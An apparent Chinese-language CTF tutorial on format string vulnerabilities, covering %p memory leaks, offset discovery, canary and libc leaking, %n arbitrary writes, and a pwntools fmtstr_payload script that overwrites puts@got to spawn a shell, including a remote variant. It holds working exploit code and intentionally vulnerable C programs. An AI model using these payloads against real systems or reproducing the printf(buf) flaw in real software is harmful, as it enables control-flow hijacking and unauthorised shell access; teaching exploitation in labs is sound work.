格式化字符串深入实战:%p 泄露、偏移定位与 %n 任意写

格式化字符串深入实战

格式化字符串漏洞:printf(buf) 漏洞原理、%p 泄露与偏移定位、%n 任意写原理、fmtstr_payload 覆盖 GOT。

14th Aug 2026

4 min read

一、现实背景:printf 的错误写法

C 程序员常写的输出代码:

printf(buf);      // 错误:buf 被当成格式字符串
printf("%s", buf); // 正确:buf 只是数据

当 buf 内容是 %p 时,printf 会把它当格式说明符,去读取"本不存在的参数"——读到的是栈与寄存器上的值。这造成两类能力:

  • %p/%s:任意读(泄露内存)。
  • %n:任意写(写入内存)。

二、漏洞程序与编译

fmt.c:

#include <stdio.h>

int main() {
    char buf[100];
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("> ");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);          // 漏洞
    return 0;
}
gcc -o fmt fmt.c -fno-stack-protector -no-pie

三、核心步骤 1:%p 泄露

目的:用最便宜的测试确认漏洞,并观察"输入本身出现在参数列表里"这一关键事实。

运行:

./fmt

输入:

%p.%p.%p.%p.%p.%p

实际输出(本机 arm64 实测,Linux x86-64 输出形式一致、地址值不同):

> 0xfffffffffffffff0.0x16d8b6c48.0x40000000.0x70252e70252e7025.0x252e70252e70252e.0x100000a70

出现一堆十六进制地址,漏洞确认。注意第 4、5 个值里有 0x70252e70,正是 %p.%p 的 ASCII 字节——说明我们的输入本身也在参数列表里。

为什么能泄露:printf 按格式串逐个取参数。我们没传参数,它就继续往寄存器/栈上读"不存在的参数",读到的都是内存里的真实值。

四、核心步骤 2:偏移定位

目的:确定"我们的输入位于第几个参数",这是所有精确利用的前提。

思路:在输入开头放 4 个 A,用 %N$p 逐个位置试探;哪个位置输出 0x41414141,哪个位置就是输入起点。

要精确利用,需要知道"我们的输入位于第几个参数"。

运行:

./fmt

输入:

AAAA.%6$p

预期输出(Linux x86-64 典型情况):

> AAAA.0x41414141

出现 0x41414141(AAAA 的十六进制),说明 buf 起始位置是第 6 个参数,偏移 = 6。不同程序偏移不同(常见 6-10),确认方法就是逐个数:

from pwn import *

for i in range(1, 15):
    p = process('./fmt')
    p.recvuntil(b'> ')
    p.sendline(f'AAAA.%{i}$p'.encode())
    # f'AAAA.%{i}$p':构造 "AAAA.%1$p"、"AAAA.%2$p" ... 依次试探。
    # .encode():字符串转成字节串才能 sendline。
    out = p.recvall()
    if b'0x41414141' in out:
        # 0x41414141 就是 AAAA 的十六进制,说明第 i 个参数是输入起点。
        print(f'offset = {i}')
        break

预期输出:offset = 6。

为什么从 6 开始:x86-64 调用约定前 6 个整数参数用寄存器(rdi, rsi, rdx, rcx, r8, r9),printf 自己占 rdi,所以 %1$p 到 %5$p 对应 rsi 到 r9,%6$p 开始读栈。

五、核心步骤 3:泄露 canary 与 libc

目的:把栈上的关键保护值(canary)与库地址(libc)泄露出来,供后续利用。

思路:不同数据在栈上有固定特征——canary 以 00 结尾,libc 地址以 0x7f 开头。扫描一段偏移后按特征识别。

把 %6$p 到 %40$p 全部打出来,识别特征值:

值特征内容
以 00 结尾的随机值canary
0x7fff 开头栈地址
0x55/0x56 开头程序代码地址(PIE 基址相关)
0x7f 开头libc 地址
payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))
# 生成 "%6$p.%7$p....%39$p",一次打出一串值。
p.sendline(payload)
out = p.recvall().decode().split('.')
# 按点号切分,得到每个位置的值。

for i, v in enumerate(out):
    if v.endswith('00') and len(v) == 18:
        # 16 位十六进制 + 结尾 00:符合 canary 的典型形态。
        print(f'possible canary at {i+6}: {v}')

泄露 libc 地址后:

libc.address = leaked_libc_addr - libc.symbols['puts']

与 ret2libc 的"先泄露再计算"思路完全一致。

六、核心步骤 4:%n 任意写

目的:理解"写内存"的原语,为覆盖 GOT 做准备。

思路:%n 把"已打印字符数"写入参数指向的地址。先用 %100c 精确控制打印量,再用 %N$n 写到目标地址。

%n 把"当前已经打印的字符数"写入参数指向的地址:

%100c%7$n

执行过程:

  1. %100c 打印 100 个填充字符,已打印数变成 100。
  2. %7$n 把 100 写入第 7 个参数指向的地址。

所以如果第 7 个参数恰好是我们输入里的一个地址,就能往那个地址写 100。写入宽度控制:

说明符写入字节数
%n4 字节
%hn2 字节
%hhn1 字节

七、核心步骤 5:fmtstr_payload 覆盖 GOT

目的:把程序即将调用的 puts 改成我们的 win,实现控制流劫持。

思路:puts@got 存的是 puts 真实地址;程序每次调 puts 都先查 GOT。把 GOT 内容改成 win 地址,下一次调用就变成执行 win。验证方式:发送 payload 后看是否进入 shell。

目标程序 fmt2.c:

#include <stdio.h>
#include <stdlib.h>

void win() {
    system("/bin/sh");
}

int main() {
    char buf[100];
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("> ");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);          // 漏洞
    puts("Done");         // 触发 puts@got → win
    return 0;
}
gcc -o fmt2 fmt2.c -fno-stack-protector -no-pie
pwn checksec ./fmt2     # 需为 Partial RELRO,GOT 可写

利用脚本:

from pwn import *

context.binary = elf = ELF('./fmt2')
# context.binary 让 pwntools 自动识别架构与位数。
p = process('./fmt2')

offset = 6
payload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})
# fmtstr_payload(offset, writes):
#   第一个参数 offset:输入在参数列表中的位置;
#   第二个参数是字典 {目标地址: 要写入的值}。
# 函数内部自动完成:把 win 地址拆成两个 2 字节,
# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。

p.sendline(payload)
p.interactive()

fmtstr_payload 自动完成:

  1. 把 win 地址拆成低 2 字节和高 2 字节。
  2. 生成 %c 控制打印量。
  3. 把两个目标地址(puts@got、puts@got+2)放到对应参数位置。
  4. 用 %hn 分别写入。

预期结果:程序执行 puts("Done") 时实际调用 win(),进入 shell。

八、必学工具

工具3 个核心功能示例
pwntoolsfmtstr_payload、FmtStr、sendline/recvuntil见上文
checksec看 RELRO、Canary、PIEpwn checksec ./fmt2
GDB(pwndbg)断点、看栈、验证参数位置break main、x/20gx $rsp

九、小 CTF 实战

题目:远程运行 fmt2(Partial RELRO、No PIE)。

思路:与本地脚本唯一区别是 remote() 连远程;若远程提示与本地不同,先本地确认 offset 再改。

from pwn import *

context.binary = elf = ELF('./fmt2')
p = remote('1.2.3.4', 10002)

payload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})
p.sendline(payload)
p.sendline(b'cat flag')
p.interactive()

预期输出:

flag{format_string}

十、小结

格式化字符串提供两种原语:%p/%s 任意读,%n 系列任意写。掌握偏移定位后,既可以泄露 canary/libc 辅助栈溢出,也可以直接覆盖 GOT 或函数指针拿 shell。